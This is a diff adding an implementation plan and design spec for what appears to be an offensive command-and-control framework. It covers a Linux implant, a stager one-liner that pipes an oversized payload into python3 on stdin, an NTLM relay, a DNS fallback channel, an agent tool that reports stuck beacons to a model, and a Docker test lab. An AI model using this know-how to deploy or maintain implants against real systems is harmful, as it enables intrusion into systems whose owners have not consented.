`oneliner_win` is unchanged. `render_stager("posix", oneliner=…)` already escapes single quotes for `eval '…'`, so no change there. + +- [ ] **Step 1: Write the failing tests** + +In `software/tests/test_tunnel_spawn.py`, in the class that owns the one-liner (`TestGeneratedArtifactKeepsItsSource`): + +```python +def test_no_generated_artifact_puts_the_payload_in_an_argv_entry(self): + # Review Focus 1. Linux refuses any single argv entry over 131072 + # bytes, so a payload passed as `python3 -c ""` cannot be + # executed there at all -- not by any quoting, and not through the + # POSIX stager, which `eval`s the same text and then has to exec + # python with it. macOS has no such limit, which is why this was + # invisible here. + MAX_ARG_STRLEN = 131072 + body = self.generate(1) + one = body["oneliner_unix"] + self.assertGreater(len(one), MAX_ARG_STRLEN, + "the stage shrank; this test no longer proves anything") + self.assertNotIn("python3 -c", one) + self.assertIn("| python3 -", one) + +def test_the_payload_travels_on_stdin_through_a_shell_builtin(self): + # Review Focus 5. `printf` is internal to dash, bash and busybox ash, + # so nothing execs the payload. An external printf would put it back + # in an argv entry and restore the limit. + one = self.generate(1)["oneliner_unix"] + self.assertTrue(one.startswith("printf %s \""), one[:40]) + +def test_the_quoting_invariant_still_holds(self): + # The one-liner gains a pipe and keeps its double quotes; what must + # stay absent is what would make the double-quoted form unsafe. + # `printf %s` puts the format in its own argument, so a `%` inside + # the stage is data and not a directive. + one = self.generate(1)["oneliner_unix"] + for forbidden in ("$", "`", "\\"): + self.assertNotIn(forbidden, one) +``` + +Keep the existing `test_a_real_shell_hands_the_stage_over_as_one_argument`, renaming it to `test_a_real_shell_delivers_the_stage_to_python` and changing its `subprocess.run` to execute the one-liner as a **script** (`["sh", scriptpath]` with the one-liner as the file's only line), not as `sh -c ` — passing it to `-c` makes the whole line one argv entry and reintroduces the limit the artifact no longer has. + +- [ ] **Step 2: Run the tests to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_tunnel_spawn -v` +Expected: the three new tests FAIL (`"python3 -c" unexpectedly found`), the renamed one FAILs on macOS only if the script form is wrong. + +- [ ] **Step 3: Change the one-liner's form in `software/c2/server.py`** + +`oneliner_unix = f'printf %s "{stage}" | python3 -'`. Leave `oneliner_win` as `f'python -c "{stage}"'`: it is already documented as undeliverable at this size and is used through `Invoke-Expression`, where no length limit applies. The comment above it must say why the two now differ. + +- [ ] **Step 4: Run the tunnel tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_tunnel_spawn software.tests.test_tunnel_stager software.tests.test_docs -v` +Expected: PASS. `test_docs` is in the list because this task edits `docs/TUNNEL.md` and that module asserts over the documentation. + +- [ ] **Step 5: Update `docs/TUNNEL.md`** + +At `:516` the Windows paragraph stays. Add the Linux one beside it: the kernel refuses an `argv` entry over 131072 bytes, the generated stage exceeds it, so the payload travels on stdin through a shell builtin and the artifact is still one line. At `:586` correct "it runs the ordinary one-liner, which is the common case on Linux and macOS" — the sentence is right again once the form changes, but it must name the reason the form is what it is. + +- [ ] **Step 6: Commit** + +```bash +git add software/c2/server.py docs/TUNNEL.md software/tests/test_tunnel_spawn.py +git commit -m "fix(stager): the Unix one-liner could not run on Linux at all" +``` + +--- + +### Task 2: `stop()` wakes a blocked `accept()` + +**Files:** +- Modify: `software/c2/beacon.py:2097` (`_NtlmProxyRelay.stop`) +- Test: `software/tests/test_beacon.py` + +**Interfaces:** +- Consumes: nothing. +- Produces: `stop()` calls `shutdown(socket.SHUT_RDWR)` before `close()`. `_accept_loop`'s existing `except OSError: break` arm catches the result and needs no change. + +- [ ] **Step 1: Write the failing test** + +The two existing tests (`TestNtlmRelayTunnel.test_stop_closes_listener`, `TestBeaconNtlmWiring.test_stop_tears_down_relay`) fail on Linux and pass on macOS, so they cannot drive a red cycle on the developer's machine. Add one that can, in `TestNtlmRelayTunnel`: + +```python +def test_stop_shuts_the_listener_down_before_closing_it(self): + # Closing a descriptor another thread is blocked in accept() on is + # undefined in POSIX: macOS wakes the accept, Linux leaves the socket + # bound and ACCEPTING until it returns. So on Linux the operator + # stops the relay and the target keeps an open port. shutdown() + # wakes a blocked accept on both platforms; close() alone does not. + # + # A recording proxy on `relay._server`, not a monkeypatch on the + # socket: socket objects use __slots__ and reject attribute + # assignment (measured), and this way the test pins the ORDER, which + # is the whole property -- shutdown after close would fix nothing. + class _Recorder: + def __init__(self, inner): + self._inner, self.calls = inner, [] + + def shutdown(self, how): + self.calls.append("shutdown") + return self._inner.shutdown(how) + + def close(self): + self.calls.append("close") + return self._inner.close() + + def __getattr__(self, name): + return getattr(self._inner, name) + + relay = self._setup() + recorder = _Recorder(relay._server) + relay._server = recorder + relay.stop() + self.relay = None + self.assertEqual(recorder.calls, ["shutdown", "close"]) +``` + +- [ ] **Step 2: Run it to verify it fails** + +Run: `/usr/bin/python3 -m unittest software.tests.test_beacon.TestNtlmRelayTunnel.test_stop_shuts_the_listener_down_before_closing_it -v` +Expected: FAIL — `[] != ['shutdown', 'close']`. + +- [ ] **Step 3: Add the shutdown to `stop()` in `software/c2/beacon.py`** + +Before `self._server.close()`, call `self._server.shutdown(socket.SHUT_RDWR)` in its own `try/except Exception: pass` — a socket that is already gone must not turn a teardown into an exception. The comment must say which platform needed it and why. + +- [ ] **Step 4: Run the beacon tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_beacon -v` +Expected: PASS on macOS. The two pre-existing tests are verified on Linux by Task 9's job; the Docker suite run is the interim check. + +- [ ] **Step 5: Verify on Linux** + +Run: `docker run --rm -v "$PWD:/repo:ro" python:3.9-slim sh -c 'apt-get update -qq >/dev/null && apt-get install -y -qq --no-install-recommends git ffmpeg procps >/dev/null && cp -a /repo /work && cd /work && pip install -q -r software/tests/requirements.txt && python3 -m unittest software.tests.test_beacon 2>&1 | tail -20'` +Expected: PASS, including `test_stop_closes_listener` and `test_stop_tears_down_relay`, which fail there today. + +- [ ] **Step 6: Commit** + +```bash +git add software/c2/beacon.py software/tests/test_beacon.py +git commit -m "fix(relay): stop() left the port accepting on Linux" +``` + +--- + +### Task 3: An unattributed rescue is logged and served + +**Files:** +- Modify: `software/c2/server.py` — the unattributed branch (~2951) and a new route beside the other `/api/` routes +- Test: `software/tests/test_dns_rescue.py` + +**Interfaces:** +- Consumes: `unattributed_rescues` (module-level list), `_RESCUE_UNATTRIBUTED_MAX = 50`, `_log_event(category, message, agent_id="", details=None)`. +- Produces: `GET /api/rescues/unattributed` → `{"unattributed": [, …]}`, `@require_auth`, newest first. Each record is the same dict `_handle_rescue` builds: `summary`, `dns_answered`, `fingerprint`, `at`, and the four leg keys. + +- [ ] **Step 1: Write the failing tests** + +In `software/tests/test_dns_rescue.py`, a new class `TestARescueNobodyCanClaim`: + +```python +def test_an_unattributed_rescue_is_logged_so_it_is_not_silent(self): + # It used to be appended to a list nothing read: decoded, stored and + # discarded. The beacon that cannot be attributed is the one most + # likely to be stuck, because never registering means the way out was + # never open. + +def test_the_route_returns_it_newest_first(self): + +def test_the_route_needs_the_operator_token(self): + +def test_the_route_is_not_on_the_agent_socket(self): + # Same policy as every other /api/ route. + +def test_a_rescue_for_a_deleted_agent_is_reported_not_dropped(self): + # Review Focus 3. Attribution matches the live fleet, so a record for + # an agent the operator has removed lands here. + +def test_nothing_in_the_record_is_treated_as_an_agent_id(self): + # Review Focus 3. The record carries a 2-byte fingerprint and leg + # codes. No string from the target can reach it, and the route must + # not invent an id from the fingerprint. + +def test_the_list_stays_capped(self): + # Review Focus 2's other half: 51 records leave 50. +``` + +Build each record by the real path — encrypt with the beacon's `_encrypt` and POST to `/`, as `TestTheServerDecodesARescue` already does — not by appending to the list directly. + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue.TestARescueNobodyCanClaim -v` +Expected: FAIL — 404 from the route, and no log entry. + +- [ ] **Step 3: Implement both in `software/c2/server.py`** + +In `_handle_rescue`'s unattributed branch, call `_log_event("RESCUE", …)` with the summary before the append. Safe to log in full: the record holds no string from the target. Add the route next to `api_agents`, decorated `@require_auth`, returning the list reversed. + +- [ ] **Step 4: Run the rescue and hardening tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue software.tests.test_c2_hardening -v` +Expected: PASS. `test_c2_hardening` owns the socket-policy assertions and will fail if the route is reachable on the agent socket. + +- [ ] **Step 5: Commit** + +```bash +git add software/c2/server.py software/tests/test_dns_rescue.py +git commit -m "feat(rescue): a rescue nobody can claim is no longer silent" +``` + +--- + +### Task 4: The agent tool reports them, separately + +**Files:** +- Modify: `software/agent/c2client.py` (beside `list_agents`, ~270) +- Modify: `software/agent/tools/egress.py` (`get_stuck_beacons`) +- Test: `software/tests/test_dns_rescue.py` + +**Interfaces:** +- Consumes: Task 3's route; `self._request("GET", path)` from `c2client`. +- Produces: `async def unattributed_rescues(self) -> List[dict]` on the client. `get_stuck_beacons()` returns `{"stuck": [...], "unattributed": [...]}`. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_the_tool_reports_unattributed_rescues_under_their_own_key(self): + # Separate from "stuck" on purpose: there is no beacon id to task, so + # a model must not be able to mistake one for something it can act on. + +def test_an_unattributed_entry_carries_no_beacon_id_field(self): + +def test_the_tool_still_works_when_the_c2_has_no_such_route(self): + # An older team server answers 404. The tool degrades to {"stuck": …} + # rather than failing the whole call. + +def test_the_tool_description_says_they_cannot_be_tasked(self): +``` + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue -v -k unattributed` +Expected: FAIL — `KeyError: 'unattributed'`. + +- [ ] **Step 3: Implement the client method and extend the tool** + +`unattributed_rescues()` mirrors `list_agents()`'s shape checking and uses `allow_missing=True` so a 404 returns `None`; `get_stuck_beacons` treats `None` as an empty list. Extend the tool's `description` in its spec to state that these entries have no id and cannot be tasked. + +- [ ] **Step 4: Run the agent tool tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue software.tests.test_agent_tools -v` +Expected: PASS. + +- [ ] **Step 5: Commit** + +```bash +git add software/agent/c2client.py software/agent/tools/egress.py software/tests/test_dns_rescue.py +git commit -m "feat(rescue): the agent sees the rescues it cannot act on" +``` + +--- + +### Task 5: The operator is notified, and the browser says so + +**Files:** +- Modify: `software/c2/server.py` (`_OPERATOR_HTML`) +- Test: `software/tests/test_dns_rescue.py` + +**Interfaces:** +- Consumes: Task 3's route; the page's existing `toast(type, title, msg, duration)` and `api(path)`. +- Produces: a poll that raises one `toast("warning", …)` per record it has not seen. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_a_record_already_seen_raises_no_second_notification(self): + # Review Focus 2. The list is capped at 50 and never cleared, so a + # naive poll re-fires for every record on every tick. Asserted at + # source level: the poll must key on something per-record, not on the + # list's length. + +def test_the_notification_escapes_with_a_helper_that_exists(self): + # The rule this feature's worst defect earned: escHtml(...) was my + # own invented spelling, the operator console calls its escaper esc, + # and the whole agent panel threw and rendered nothing. +``` + +The second test reuses `_operator_script()` and the definedness check already in this module. `TestTheTwoGuisDoNotShareHelpers` covers the cross-GUI class automatically. + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue -v -k notification` +Expected: FAIL. + +- [ ] **Step 3: Add the poll and the toast to `_OPERATOR_HTML`** + +Alongside the existing `setInterval(refreshAgents, 3000)`. Key seen records on `fingerprint + at`, which is unique per record and present in every one. Escape with `esc`. + +- [ ] **Step 4: Verify in a browser, not in a regex** + +This step is the task's acceptance. Start a server with an unattributed record present, open the operator console, unlock it, and confirm: the toast appears, the bell count rises, the notification panel lists it, and **the console reports no errors**. A source-level assertion that a string is present is what shipped the last defect; a screenshot is the evidence here. + +- [ ] **Step 5: Run the full suite** + +Run: `/usr/bin/python3 -m unittest discover -s software/tests -t .` +Expected: OK. + +- [ ] **Step 6: Commit** + +```bash +git add software/c2/server.py software/tests/test_dns_rescue.py +git commit -m "feat(rescue): the operator is told when something unknown is stuck" +``` + +--- + +### Task 6: The lab's images and compose + +**Files:** +- Create: `software/tests/lab/docker-compose.yml`, `teamserver.Dockerfile`, `beacon.Dockerfile`, `resolver.Dockerfile`, `beacon_entry.py` +- Create: `software/tests/test_e2e_lab.py` + +**Interfaces:** +- Consumes: `software/c2/listeners/Dockerfile` as it ships, unmodified. +- Produces: compose project `raccoon-lab`; services `teamserver`, `resolver`, `listener-dns`, `listener-smb`, `beacon`; networks `beacon-net` (declared subnet, static IP for `resolver` and `listener-dns`), `relay-net`, `c2-net`. The operator port is published on TCP; **no UDP port is published**. `beacon_entry.py` takes `--scenario`, `--zone`, `--cycles`, and the key and ports from the environment. + +- [ ] **Step 1: Write the failing tests** + +`software/tests/test_e2e_lab.py` — these need no Docker and run in the normal suite: + +```python +def test_the_lab_publishes_no_udp_port(self): + # Measured: published UDP does not arrive on macOS. The beacon is a + # container so the datagram never crosses the host boundary; a + # published UDP port would mean someone had moved it back. + +def test_the_beacon_is_not_on_the_relay_network(self): + # The listener is the one thing that bridges. A beacon on relay-net + # could reach the team server and the severance would be a fiction. + +def test_the_dns_listener_is_on_both_the_beacon_and_relay_networks(self): + +def test_the_resolver_forwards_the_zone_to_the_listener_by_ip(self): + # dnsmasq's server=/zone/addr#port takes an IP, not a hostname: it + # parses its config before it could resolve anything. + +def test_the_labs_listener_command_matches_the_shipped_compose(self): + # Risk from the spec: a lab that drifts proves a shape nobody + # deploys. Compares the lab's listener flags against + # software/c2/docker-compose.yml's. + +def test_the_lab_uses_the_shipped_listener_dockerfile(self): + +def test_dnsmasq_keeps_its_cache(self): + # The listener answers with TTL 1 and a cached rescue would be a + # defect worth catching, so turning the cache off would hide it. +``` + +Parse the compose file with `yaml` — PyYAML 6.0.3 is installed and +`software/requirements.txt` already requires `pyyaml>=6.0`, so this adds no +dependency. Do not hand-roll a reader. + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: FAIL — the compose file does not exist. + +- [ ] **Step 3: Write the compose file, the three Dockerfiles and the entry script** + +The teamserver image installs `flask` and `cryptography` and nothing else — measured sufficient to import `software.c2.server`. The beacon image installs `requests`. Source arrives by read-only bind mount of the repository root, not `COPY`. The resolver's config sets `log-queries` and a `log-facility` on a path the driver reads, `no-resolv`, `no-hosts`, and keeps `cache-size` at its default. + +- [ ] **Step 4: Run the tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: PASS. + +- [ ] **Step 5: Build the images once by hand** + +Run: `docker compose -p raccoon-lab -f software/tests/lab/docker-compose.yml build` +Expected: all four images build. The shipped team-server image is **not** built. + +- [ ] **Step 6: Commit** + +```bash +git add software/tests/lab/ software/tests/test_e2e_lab.py +git commit -m "test(lab): the containers and networks for a Linux end-to-end run" +``` + +--- + +### Task 7: The driver, and the `rescue` scenario + +**Files:** +- Create: `tools/e2e_lab.py` +- Modify: `software/tests/test_e2e_lab.py` + +**Interfaces:** +- Consumes: Task 6's compose project. +- Produces: `build_parser() -> argparse.ArgumentParser` (the house convention `tools/demo_env.py` set, and what its test asserts against), `main(argv=None) -> int`. Scenario names positional; flags `--keep`, `--shipped-image`. Exit 0 pass, 1 fail, 2 no Docker. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_it_exits_2_and_says_so_without_docker(self): + # tools/listener_docker_rig.py's convention: never fail in a way that + # looks like a product fault. + +def test_it_refuses_to_start_when_the_projects_containers_exist(self): + # Review Focus 4. A reused container would report a pass that means + # nothing. + +def test_the_parser_flags_mean_what_the_design_says(self): + # As test_c2_hardening does for demo_env's parser. + +def test_every_scenario_name_is_reachable_from_the_parser(self): + +def test_it_reports_the_architecture_it_ran_on(self): + # From the spec's risk table: aarch64 here, amd64 in CI. A report + # that does not say which machine produced it cannot be acted on, + # and this project has already been bitten twice by a platform + # difference nobody recorded. +``` + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: FAIL — `tools.e2e_lab` does not exist. + +- [ ] **Step 3: Implement the driver and the `rescue` scenario** + +The scenario, in order: bring the stack up with the beacon also attached to `c2-net`; wait for the beacon to register (poll the operator API for an agent, never a fixed sleep, and name the unmet condition on timeout); `docker network disconnect c2-net beacon`; assert the negative space from inside the beacon container — the team server's beacon socket, the SMB and the QUIC addresses must all be unreachable, and the run aborts saying the lab is mis-wired if any succeeds; run the stuck loop for four cycles; assert. + +Assertions come from the components, never the driver's bookkeeping: the resolver's query log for exactly **one** rescue name across four cycles, with the whole name under 253 characters and no label over 63; the operator API for a `stuck` summary naming the right legs. Tear down in a `finally` with `down -v` unless `--keep`. + +- [ ] **Step 4: Run the driver** + +Run: `python3 tools/e2e_lab.py rescue` +Expected: exit 0, and the printed evidence shows one rescue and the operator's summary. + +- [ ] **Step 5: Prove the scenario can fail** + +Revert the trigger in `software/c2/beacon.py` from `delivered_by not in _RESCUE_UPSTREAM` to `tasking is None`, run `python3 tools/e2e_lab.py rescue`, and record the result in `.superpowers/sdd/2026-11-15-e2e-docker-lab/progress.md`. Restore the trigger. A scenario that passes either way proves nothing. + +- [ ] **Step 6: Run the suite and commit** + +Run: `/usr/bin/python3 -m unittest discover -s software/tests -t .` + +```bash +git add tools/e2e_lab.py software/tests/test_e2e_lab.py +git commit -m "test(lab): a driver, and the rescue scenario through a real resolver" +``` + +--- + +### Task 8: The `stale-token` and `smb-up` scenarios + +**Files:** +- Modify: `tools/e2e_lab.py`, `software/tests/lab/docker-compose.yml`, `software/tests/test_e2e_lab.py` + +**Interfaces:** +- Consumes: Task 7's driver. +- Produces: scenarios `stale-token` and `smb-up`; a compose override or profile that gives `listener-dns` an invalid token and puts `listener-smb` on `beacon-net`. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_the_stale_token_listener_holds_a_token_the_server_rejects(self): + # Tasking over DNS needs that token; the rescue does not, because it + # goes through the beacon handler. So the ladder runs all the way down + # and SMB and QUIC are really attempted -- which is the only way this + # lab can prove the leg-recording fix on Linux. + +def test_smb_up_keeps_the_dns_leg_armed(self): + # Disabling DNS would make "no rescue was sent" vacuous: _maybe_rescue + # returns immediately when DNS is off. +``` + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: FAIL. + +- [ ] **Step 3: Implement both scenarios** + +`stale-token` asserts that SMB and QUIC are reported as attempted-and-failed and **not** as `not_attempted`. On Linux a dead QUIC endpoint raises nothing and merely times out, so this is where that fix is proved end to end. `smb-up` asserts tasking arrived over SMB and that **no** rescue was sent, because an upstream leg delivered while the latch was armed and could have fired. + +- [ ] **Step 4: Run all three scenarios** + +Run: `python3 tools/e2e_lab.py` +Expected: exit 0, three scenarios reported. + +- [ ] **Step 5: Prove `stale-token` can fail** + +Revert Task 2's sibling — the leg recording in `_quic_send`'s quiet paths, from commit `3dad39e` — run `python3 tools/e2e_lab.py stale-token`, record the result in the ledger, restore. `smb-up` is **exempt**: it guards a property of the lab, not a product change, so there is nothing to revert. + +- [ ] **Step 6: Commit** + +```bash +git add tools/e2e_lab.py software/tests/lab/ software/tests/test_e2e_lab.py +git commit -m "test(lab): the scenario the VM died before reaching" +``` + +--- + +### Task 9: CI + +**Files:** +- Create: `.github/workflows/ci.yml` +- Modify: `software/tests/test_docs.py` if it asserts over the repository's file set + +**Interfaces:** +- Consumes: Tasks 1–8. +- Produces: two jobs on `ubuntu-latest` — `tests` (Python 3.9, `git ffmpeg procps`, the full suite) and `lab` (`python3 tools/e2e_lab.py`). + +- [ ] **Step 1: Write the failing test** + +In `software/tests/test_e2e_lab.py`: + +```python +def test_ci_installs_the_three_packages_the_suite_needs(self): + # Measured: without git, ffmpeg and procps the suite reports 19 + # errors and 6 failures that say nothing about the code. + +def test_ci_pins_the_python_the_suite_is_documented_for(self): + # software/tests/requirements.txt says 3.9 and says the suite has + # only ever run against it. + +def test_ci_runs_both_the_suite_and_the_lab(self): + +def test_ci_passes_no_secret_to_either_job(self): + # The lab generates its key per run with os.urandom. +``` + +- [ ] **Step 2: Run it to verify it fails** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v -k ci` +Expected: FAIL — the workflow does not exist. + +- [ ] **Step 3: Write the workflow** + +Two jobs, not one: they fail for different reasons and a reader should be able to tell which broke. No `secrets` in either. A comment at the top states what the three packages are for, so the next person does not remove them. + +- [ ] **Step 4: Run the tests and the full suite** + +Run: `/usr/bin/python3 -m unittest discover -s software/tests -t .` +Expected: OK. + +- [ ] **Step 5: Verify the suite is green on Linux** + +Run the Docker command from Task 2 Step 5, with `discover` instead of one module. +Expected: OK — and if anything still fails, it is a finding to record, not to hide. + +- [ ] **Step 6: Commit** + +```bash +git add .github/workflows/ci.yml software/tests/test_e2e_lab.py +git commit -m "ci: run the suite and the lab on Linux" +``` diff --git a/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md new file mode 100644 index 0000000..03669ec --- /dev/null +++ b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md @@ -0,0 +1,498 @@ +# A reproducible end-to-end lab in Docker + +## Intent, and the why + +Four defects shipped in the DNS rescue channel (#4, #5). The 3257-test +suite found none of them. What found them was running the thing: a review +with fresh context, a loopback run on the Mac, a run in a ParrotOS VM, +and opening the operator console in a browser. + +Two of those four were platform defects. A dead QUIC endpoint raises +`ConnectionRefusedError` on macOS and merely times out on Linux, because +an unconnected UDP socket is never handed the ICMP port-unreachable. The +implant targets Linux. So a test that passes on the developer's Mac is +not evidence about the platform the implant runs on, and a hand-kept VM +is not evidence anyone else can reproduce: that VM lost its network and +guest agent mid-run and the second scenario never completed. + +This lab makes the Linux end-to-end run reproducible, cheap enough for +CI, and extensible to the transports that come later. + +## Goals + +1. **Severance by topology.** A beacon whose HTTPS, SMB and QUIC legs + fail because those addresses do not route — not because a test points + them at a closed port and not because a stub returns `None`. Severance + happens to a beacon that was healthy a moment ago, which is both the + realistic life-cycle and, as it turns out, the only one the feature can + attribute (see "The life-cycle the lab has to model"). +2. **A real recursive resolver in the path.** `dnsmasq`, with the + beacon's resolver pointing at it and `beacon._DNS_PORT` untouched, so + the hop the rescue channel rests on is exercised rather than bypassed. +3. **Reproducible by anyone.** One command, no hand-kept VM, no state + that survives a run. +4. **CI-capable.** Build and run inside a GitHub Actions job without + the shipped team-server image, whose build takes many minutes. +5. **Extensible per transport.** Adding the SMB or QUIC leg as a reachable + listener must be a compose-level change, not a rewrite. + +## Non-goals + +- **Replacing the unit suite.** The suite stays the primary guard. The lab + proves integration, which is what unit tests structurally cannot. +- **Testing the shipped team-server image by default.** That image carries + gcc, nmap, freerdp2-x11, tigervnc, pipx-installed NetExec, a Responder + clone and a RelayKing clone. A flag may select it; CI will not. +- **Touching `software/c2/docker-compose.yml`.** That file describes a + deployment. A lab is not a deployment and must not make the shipped one + harder to read. +- **A second implementation of anything.** The lab runs `software/c2` as + it stands. No test double of the server, the listener or the beacon. +- **Forcing the pure-Python cipher.** This was a goal in the first draft + and is dropped, because there is no honest way to reach it here. + `_USE_PURE_PYTHON_AES` is decided at import time by `_load_libcrypto()` + with no hook, so forcing it needs either a product-side override — the + implant growing an environment variable for a lab's benefit — or an + image where loading genuinely fails, and deleting `libcrypto.so.3` from + `python:3.12-slim` takes `ssl`, `requests` and the HTTPS leg with it. A + musl image where `find_library` genuinely returns nothing would be + honest, and is a later addition rather than a reason to hold this up. + The cipher itself is covered: `software/tests/test_tunnel_endpoint.py` + toggles the flag and exercises both paths. My call. + +## Anti-goals + +Things that would make this a failure even if it ran green: + +- **A lab that only works on one developer's machine.** If it needs + colima specifically, or a published UDP port, it has reproduced the VM + problem in a new place. +- **Failures simulated rather than caused.** If the beacon's HTTPS leg + fails because a Python stub returned `None`, the lab proves nothing the + unit tests did not already prove more cheaply. +- **A green run that would stay green with the feature removed.** Each + scenario must fail when its subject is reverted. This is checked by + mutation, per scenario, and recorded. +- **Something nobody runs.** If it is slower or more awkward than the VM + it replaces, it will rot. + +## Constraints, measured on this machine + +| Fact | Measured | +|---|---| +| Container-to-container UDP | Works. A 143-byte datagram arrived and was answered. | +| **Published** UDP ports on macOS | Do not work. `tools/listener_docker_rig.py` documents this and skips DNS and QUIC for that reason. | +| Cross-network reachability | A container on another network cannot even resolve the name. | +| Repo visibility in the VM | `/Users/derbenji` is mounted virtiofs; `/private/var/folders/...` is **not**. | +| `software.c2.server` imports | Fine with only `flask` and `cryptography`. No impacket at import time. | +| Docker here | 29.5.2, `linux/aarch64`, 4 CPU, 8 GB, via colima. | +| `docker network disconnect` on a running container | Works, and severs completely: after it the service is unreachable by name **and** by IP. | + +The first two together are the whole reason for the topology below: +**no UDP may be published to the host.** The beacon runs in a container +so that the datagram never crosses the host boundary. + +The measured limit is specific to UDP — the same rig measures TCP +publishing as working — so the operator's TCP socket **is** published, and +that is what the driver and a browser use. The first draft said "nothing +may be published", which was an overcorrection that would have left the +driver unable to read the very record it asserts on. + +A third constraint comes from `dnsmasq`: `server=/zone/addr#port` takes an +IP address, not a hostname. Docker's embedded DNS cannot help, because +dnsmasq parses its config before it could resolve anything. + +## Approaches + +Three were considered. The operator picked B. + +**A — extend `software/c2/docker-compose.yml` with a `lab` profile.** +Rejected. The team server and agent there use `network_mode: host`, which +removes both the service-name resolution and the network separation this +lab is built on, and the team-server image's build takes many minutes. +Reuse would cost more than it saves and would make the shipped file +harder to read. + +**B — a separate lab compose plus a driver, with genuinely separated +hosts.** Chosen. Five roles on three networks; failures caused by +routing. Costs a second compose file to keep in step with the shipped +one, and by default proves the code rather than the shipped packaging — +mitigated by a flag that selects the shipped image. + +**C — one container running everything over loopback.** The VM rig in a +costume. Cheapest, closes the Linux gap today, but no severance, failures +still simulated, and it does not grow into the lab the operator asked +for. Kept in mind as the fallback if B proves unworkable on a CI runner. + +## The topology + +Three networks, so that a leg fails because it cannot route: + +``` + beacon-net c2-net + ┌──────────────┐ ┌──────────────┐ + │ beacon │──────┐ │ teamserver │ + └──────────────┘ │ └──────┬───────┘ + │ │ + ┌─────▼─────┐ │ + │ resolver │ │ relay-net + │ (dnsmasq) │ └──────────────┐ + └─────┬─────┘ │ + │ forwards the zone │ + ┌─────▼──────────┐ │ + │ listener-dns │──────────────────┘ + └────────────────┘ +``` + +- **`beacon-net`** holds the beacon, the resolver, and nothing else. The + team server's address is not on it, so HTTPS cannot route. SMB and QUIC + point at addresses on `c2-net`, which the beacon is not attached to. +- **`relay-net`** joins each listener to the team server's beacon socket. + A listener needs it; the beacon must never be on it. +- **`c2-net`** carries the operator socket and is where a browser or the + driver reaches the GUI and API. + +The listener is on `beacon-net` **and** `relay-net`. That is the whole +point of a listener: it is the one thing that bridges. + +### The life-cycle the lab has to model + +The builder check found that a statically severed beacon cannot work, and +it is right. `_agent_id` is assigned in exactly one place in the implant — +the HTTPS registration path (`beacon.py:5443`). The rescue record is +fingerprinted from `self._agent_id or self._implant_id`, and the server +attributes it by matching `fingerprint(agent_id)` against the **fleet +key**, which is the assigned name. A beacon that has never registered +therefore fingerprints its implant id, matches nothing, and its rescue +lands in `unattributed_rescues`. + +So the lab models the life-cycle instead of a frozen state, in three +steps: + +1. The beacon container starts attached to `c2-net` as well, checks in + over HTTPS for real, and is assigned a name by the server. +2. `docker network disconnect c2-net beacon` — measured above to sever + completely, by name and by IP. +3. Only now does the driver assert the negative space, and only then does + the stuck loop run. + +This is more realistic than the static version, not less: a beacon that +matters is one that worked and then stopped being able to. It is also +entirely lab-side — no product change — which is why it was chosen over +the alternatives the check listed (adding an operator route for +unattributed rescues, or widening the server's matching). + +### A product gap this exposes, and the operator decided to close + +`unattributed_rescues` is appended to and trimmed and **never served over +HTTP**. A beacon that never managed to register at all is therefore +invisible: its diagnosis is decoded, stored in memory, and cannot be read +by any operator. That is a real gap in the feature — and the affected +beacon is precisely the one most likely to be stuck, since never +registering means the way out was never open. + +It was out of scope in the first draft. The operator brought it in; see +"The gap in scope: a rescue nobody can see" below for the four surfaces. + +### Severance is asserted, not assumed + +A lab whose isolation silently breaks would report success for the wrong +reason. So the driver asserts the negative space after the disconnect and +before it runs anything: from inside the beacon container, a TCP connect +to the team server's beacon socket must fail, and the SMB and QUIC +addresses must be unreachable. If any of them succeeds, the run aborts and +says the lab is mis-wired. This is cheap and it is the difference between +proving a property and hoping for one. + +### Why the beacon is a container and not the driver process + +The driver runs on the host. If the beacon ran there too, its DNS query +would have to reach the resolver through a published UDP port, which is +measured not to work on macOS. Putting the beacon in a container keeps +every datagram inside Docker's network, where it is measured to work, and +has the larger benefit that the beacon's view of the network is the +container's — which is what makes severance real. + +## The images + +| Image | Base | Contents | +|---|---|---| +| `lab-teamserver` | `python:3.12-slim` | `flask`, `cryptography`. Source bind-mounted. | +| `lab-beacon` | `python:3.12-slim` | Nothing installed. Source bind-mounted. | +| `lab-resolver` | `debian:stable-slim` | `dnsmasq`. No project source. | +| listeners | existing `software/c2/listeners/Dockerfile` | unchanged, stdlib only, `USER 65534`, `cap_drop: [ALL]` | + +The listener image is reused as it ships, unmodified. That is deliberate: +the lab should exercise the artefact the project publishes, and a listener +is the one role where that artefact is already cheap to build. + +**Source arrives by read-only bind mount, not `COPY`.** The lab then tests +the working tree, which is what a developer wants from a pre-push check +and what CI wants from a pull request. `COPY` would test a snapshot taken +at build time and would need a rebuild per edit. The mount is `:ro` so a +container cannot write into the checkout. + +My call, as is the choice of two thin images over one shared one: the +beacon must not have `flask` available, because a beacon that can import +the server is a beacon that might. + +**Two corrections this document needed, made during Task 6.** The table +first said the beacon image installs `requests`; it installs nothing, +because `beacon.py` is standard-library only — its HTTP session is +`_HttpSession` over `urllib` and says so — and an unused dependency would +contradict the stdlib-only constraint this same document states. And the +`smb-up` scenario below first spoke of 